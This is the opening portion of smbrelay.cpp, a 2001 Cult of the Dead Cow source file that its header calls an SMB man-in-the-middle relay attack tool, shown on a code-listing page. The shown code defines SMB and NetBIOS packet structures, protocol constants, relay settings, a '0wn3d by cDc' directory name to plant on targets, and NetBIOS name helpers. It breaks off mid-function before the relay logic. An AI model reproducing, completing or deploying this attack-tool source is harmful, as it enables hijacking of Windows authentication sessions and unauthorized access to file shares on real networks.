?? smbrelay.cpp
字號:
// smbrelay.cpp : TCP (NetBT) level SMB man-in-the-middle relay attack
// Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com
#pragma comment(lib, "wsock32.lib")
#pragma comment(lib, "iphlpapi.lib")
#include <windows.h>
#include <iphlpapi.h>
#include <ipifcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <process.h>
#include <signal.h>
#pragma pack(1)
#define GETSOCKETERROR WSAGetLastError
BOOL g_bQuit = FALSE;
int g_DebugLevel = 0;
DWORD g_LocalInterfaceNumber = 0;
DWORD g_RelayInterfaceNumber = 1;
char g_SourceName[16] = "CDC4EVER";
DWORD g_LocalIP = INADDR_NONE;
BOOL g_bAddLocalIP = FALSE;
WORD g_LocalPort = 139;
DWORD g_RelayStartIP = MAKELONG( MAKEWORD(192, 1), MAKEWORD(1, 1) );
BOOL g_bAddRelayIP = TRUE;
DWORD ConnectedList[1024];
DWORD ConnectedSize = 0;
#define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') )
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
#define CREATEDIRECTORYNAME "0wn3d by cDc"
#define SERVERDOMAINNAME "PEE"
#define SMBENCRYPTIONKEYLEN 8
// The original MSNET SMB protocol (otherwise known as the "core protocol")
#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0"
// Some versions of the original MSNET defined this as an alternate to the core protocol name
#define LANMANDIALECT_PCLAN10 "PCLAN1.0"
// This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write.
#define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03"
// This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error.
#define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0"
// This is the first version of the full LANMAN 1.0 protocol
#define LANMANDIALECT_LANMAN10 "LANMAN1.0"
// This is the first version of the full LANMAN 2.0 protocol
#define LANMANDIALECT_LM12X002 "LM1.2X002"
// This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors.
#define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002"
// DOS LANMAN2.1
#define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1"
// OS/2 LANMAN2.1
#define LANMANDIALECT_LANMAN21 "LANMAN2.1"
// Windows for Workgroups Version 1.0
#define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a"
// The SMB protocol designed for NT networking. This has special SMBs which duplicate the NT semantics.
#define LANMANDIALECT_NTLM012 "NT LM 0.12"
typedef struct {
BYTE Type; // Type of packet
BYTE Flags; // flags (length extension flag is all that's used)
WORD Length; // Length of additional data
// WORD Padding; // additional frame padding??
} NBSESSIONHEADER, *PNBSESSIONHEADER;
typedef struct {
DWORD MagicVal;
BYTE Command;
union
{
struct
{
BYTE ErrorClass;
BYTE Reserved;
WORD ErrorCode;
};
DWORD NTError;
};
// flags field
BYTE bLockAndReadWriteAndUnlock:1;
BYTE bSendWithoutAck:1;
BYTE bReservedBit:1;
BYTE bNoCaseSensitivePaths:1;
BYTE bCanonicalizedPaths:1;
BYTE bOpportunisticLocks:1;
BYTE bChangeNotify:1;
BYTE bResponse:1;
// 2nd flags field
BYTE bLongFilenames:1;
BYTE bExtendedAttributes:1;
BYTE bFlags2IsLongName:1;
BYTE bUnknown1:1;
BYTE bUnknown2:1;
BYTE bUnknown3:1; //***
BYTE bUnknown4:1;
BYTE bUnknown5:1; //***
BYTE bUnknown6:1;
BYTE bUnknown7:1;
BYTE bUnknown8:1;
BYTE bExtendedSecurity:1;
BYTE bResolveViaDFS:1;
BYTE bReadGrantedWithExecPerms:1;
BYTE bNTErrorCodes:1;
BYTE bUnicodeStrings:1;
WORD PID;
DWORD HdrReserved;
WORD SessionID;
WORD SequenceNumber;
BYTE Padding[2];
WORD TreeID;
WORD CallersProcess;
WORD UserID;
WORD MultiplexID;
} SMBHEADER, *PSMBHEADER;
typedef struct {
BYTE Len; // should be 17
WORD DialectIndex;
BYTE bUserLevelSecurity:1;
BYTE bEncryptPasswords:1;
BYTE bSecuritySignaturesEnabled:1;
BYTE bSecuritySignaturesRequired:1;
BYTE bReserved:4;
WORD MaxPendingMpxRequests;
WORD MaxVCsInClientAndServer;
DWORD MaxTransmitBufferSize;
DWORD MaxRawBufferSize;
DWORD UniqueSessionKey;
BYTE bReadAndWriteRawMode:1;
BYTE bReadAndWriteMultiplexMode:1;
BYTE bUnicode:1;
BYTE bLargeFiles:1;
BYTE bNTLM012Dialect:1;
BYTE bRAPIviaRPC:1;
BYTE bNT32BitStatus:1;
BYTE bLevelIIOplocks:1;
BYTE bLOCK_AND_READ_Command:1;
BYTE bNT_FIND_SBM_Command:1;
BYTE Unused1:2;
BYTE bDFSAware:1;
BYTE Unused2:3;
BYTE Unused3;
BYTE Unused4:5;
BYTE bBulkTransfer:1;
BYTE bCompressedData:1;
BYTE bExtendedSecurity:1;
DWORD SystemDate;
DWORD SystemTime;
WORD TimeZone;
BYTE EncryptionKeyLen;
WORD ByteCount;
} SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER;
#define SMBDIALECTSELECTHEADER_LEN 17
typedef struct
{
BYTE Len; // should be 10
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD PasswordLen;
DWORD Reserved;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER;
#define SESSION_SETUP_ANDHEADER_LEN 10
typedef struct
{
BYTE Len; // should be 13
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD CaseInsensitivePasswordLen;
WORD CaseSensitivePasswordLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2;
#define SESSION_SETUP_ANDHEADER2_LEN 13
typedef struct
{
BYTE Len; // should be 12
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD MaxBufferSize;
WORD MaxMpxCount;
WORD VcNumber; // 0 = first (only), nonzero=additional VC number
DWORD SessionKey;
WORD SecurityBlobLen;
DWORD Reserved;
DWORD ClientCaps;
WORD ByteCount;
} SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX;
#define SESSION_SETUP_ANDHEADER2EX_LEN 12
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Action;
WORD ByteCount;
} SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER;
// followed by
// SZ Server native OS
// SZ Server native LanMan
// SZ Server primary domain
#define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 4
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD Flags;
WORD PasswordLen;
WORD ByteCount;
} TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER;
#define TREE_CONNECT_ANDHEADER_LEN 4
typedef struct
{
BYTE Len; // should be 3
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
WORD OptionalSupport;
WORD ByteCount;
} TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER;
// followed by
// SZ Servicetype connected to
// SZ NativeFileSystem
#define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3
typedef struct
{
BYTE Len; // should be 24
BYTE AndXCommand;
BYTE AndXReserved;
WORD AndXOffset;
BYTE Reserved;
WORD NameLength;
DWORD Flags;
DWORD RootDirectoryFid;
DWORD AccessMask;
LARGE_INTEGER AllocationSize;
DWORD ExtFileAttributes;
DWORD ShareAccess;
DWORD CreateDisposition;
DWORD CreateOptions;
DWORD ImpersonationLevel;
BYTE SecurityFlags;
WORD ByteCount;
} NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER;
#define NT_CREATE_ANDHEADER_LEN 24
#define TYPE_SESSION_MESSAGE 0x00
#define TYPE_SESSION_REQUEST 0x81
#define TYPE_POSITIVE_SESSION_RESPONSE 0x82
#define TYPE_NEGATIVE_SESSION_RESPONSE 0x83
#define TYPE_RETARGET_SESSION_RESPONSE 0x84
#define TYPE_SESSION_KEEP_ALIVE 0x85
#define SMB_COM_CREATE_DIRECTORY 0x00
#define SMB_COM_DELETE_DIRECTORY 0x01
#define SMB_COM_OPEN 0x02
#define SMB_COM_CREATE 0x03
#define SMB_COM_CLOSE 0x04
#define SMB_COM_FLUSH 0x05
#define SMB_COM_DELETE 0x06
#define SMB_COM_RENAME 0x07
#define SMB_COM_QUERY_INFORMATION 0x08
#define SMB_COM_SET_INFORMATION 0x09
#define SMB_COM_READ 0x0A
#define SMB_COM_WRITE 0x0B
#define SMB_COM_LOCK_BYTE_RANGE 0x0C
#define SMB_COM_UNLOCK_BYTE_RANGE 0x0D
#define SMB_COM_CREATE_TEMPORARY 0x0E
#define SMB_COM_CREATE_NEW 0x0F
#define SMB_COM_CHECK_DIRECTORY 0x10
#define SMB_COM_PROCESS_EXIT 0x11
#define SMB_COM_SEEK 0x12
#define SMB_COM_LOCK_AND_READ 0x13
#define SMB_COM_WRITE_AND_UNLOCK 0x14
#define SMB_COM_READ_RAW 0x1A
#define SMB_COM_READ_MPX 0x1B
#define SMB_COM_READ_MPX_SECONDARY 0x1C
#define SMB_COM_WRITE_RAW 0x1D
#define SMB_COM_WRITE_MPX 0x1E
#define SMB_COM_WRITE_COMPLETE 0x20
#define SMB_COM_SET_INFORMATION2 0x22
#define SMB_COM_QUERY_INFORMATION2 0x23
#define SMB_COM_LOCKING_ANDX 0x24
#define SMB_COM_TRANSACTION 0x25
#define SMB_COM_TRANSACTION_SECONDARY 0x26
#define SMB_COM_IOCTL 0x27
#define SMB_COM_IOCTL_SECONDARY 0x28
#define SMB_COM_COPY 0x29
#define SMB_COM_MOVE 0x2A
#define SMB_COM_ECHO 0x2B
#define SMB_COM_WRITE_AND_CLOSE 0x2C
#define SMB_COM_OPEN_ANDX 0x2D
#define SMB_COM_READ_ANDX 0x2E
#define SMB_COM_WRITE_ANDX 0x2F
#define SMB_COM_CLOSE_AND_TREE_DISC 0x31
#define SMB_COM_TRANSACTION2 0x32
#define SMB_COM_TRANSACTION2_SECONDARY 0x33
#define SMB_COM_FIND_CLOSE2 0x34
#define SMB_COM_FIND_NOTIFY_CLOSE 0x35
#define SMB_COM_TREE_CONNECT 0x70
#define SMB_COM_TREE_DISCONNECT 0x71
#define SMB_COM_NEGOTIATE 0x72
#define SMB_COM_SESSION_SETUP_ANDX 0x73
#define SMB_COM_LOGOFF_ANDX 0x74
#define SMB_COM_TREE_CONNECT_ANDX 0x75
#define SMB_COM_QUERY_INFORMATION_DISK 0x80
#define SMB_COM_SEARCH 0x81
#define SMB_COM_FIND 0x82
#define SMB_COM_FIND_UNIQUE 0x83
#define SMB_COM_NT_TRANSACT 0xA0
#define SMB_COM_NT_TRANSACT_SECONDARY 0xA1
#define SMB_COM_NT_CREATE_ANDX 0xA2
#define SMB_COM_NT_CANCEL 0xA4
#define SMB_COM_OPEN_PRINT_FILE 0xC0
#define SMB_COM_WRITE_PRINT_FILE 0xC1
#define SMB_COM_CLOSE_PRINT_FILE 0xC2
#define SMB_COM_GET_PRINT_QUEUE 0xC3
#define SMB_COM_READ_BULK 0xD8
#define SMB_COM_WRITE_BULK 0xD9
#define SMB_COM_WRITE_BULK_DATA 0xDA
#define SMB_NONE 0xFF
typedef struct
{
SOCKET connectionsock;
SOCKADDR_IN sourcesockaddr;
int hostcount;
} NEWCONINFO, *PNEWCONINFO;
typedef struct
{
SOCKET connectionsock;
SOCKET relaysock;
char header[sizeof(SMBHEADER) + sizeof(NBSESSIONHEADER)];
} RELAYCONINFO, *PRELAYCONINFO;
const char *GetInterfaceType(DWORD Type);
const char *StrError(DWORD err)
{
static char retbuff[1024];
if (err == 0)
strcpy(retbuff, "\n");
else
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, retbuff, 1024, NULL);
if (strlen(retbuff) == 0)
strcpy(retbuff, "\n");
return retbuff;
}
unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
void PrintNetBIOSName(unsigned char *name)
{
BYTE BinVal;
char PrintName[16];
int x;
memcpy(PrintName, name, 15);
PrintName[15] = 0;
BinVal = name[15];
fprintf(stdout, "%s", PrintName);
for (x = 0; x < 16 - (int)strlen(PrintName); x++)
fprintf(stdout, " ");
fprintf(stdout, "<%02x>", BinVal);
}
int NetBIOSNameToString(char *dest, const BYTE *src, int PacketLeft)
{
int y;
static unsigned char Name[32];
unsigned char UncompressedName[256];
unsigned char hexbuf[3];
char *ptr;
BYTE len;
// get length of string
len = *src;
if (len & 0xC0) // name pointer or other
{
len = 0;
// just return last name read
}
else
{
if (len >= PacketLeft)
{
puts("[Short name, aborting]");
return 0;
}
memset(UncompressedName, 0, sizeof(UncompressedName));
memset(Name, ' ', sizeof(Name) );
memcpy(UncompressedName, src+1, len);
for (y = 0; y < 16; y++)
{
hexbuf[0] = hexvals[UncompressedName[y*2] - 'A'];
hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A'];
hexbuf[2] = 0;
Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16);
}
}
memcpy(dest, (const char *)Name , 16);
return (int)(len+2);
}
int StringToNetBIOSName(char *dest, const char *src, BYTE binval)
{
int x, y;
unsigned char Name[16];
unsigned char UncompressedName[256];
char hexbuf[2];
if (strcmp(src, WILDCARDNAME) == 0)
{
// set name to all zeros
// for some reason Windows seems to want wildcard names to be padded
// with zeros instead of spaces
memset(Name, 0, sizeof(Name));
}
else
{
// set name to all spaces
memset(Name, ' ', sizeof(Name));
}
// get length of name
x = strlen(src);
// truncate at 15th char
if (x > 15) x = 15;
// copy up to 15 chars leaving the rest space padded
memcpy(Name, src, x);
// uppercase the name
Name[15] = 0;
for (y = 0; y < 15; y++)
Name[y] = toupper((int)Name[y]);
// set 16th binary char
Name[15] = binval;
UncompressedName[0] = 32;
// convert each char to hex
for (x = 0; x < 16; x++)
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -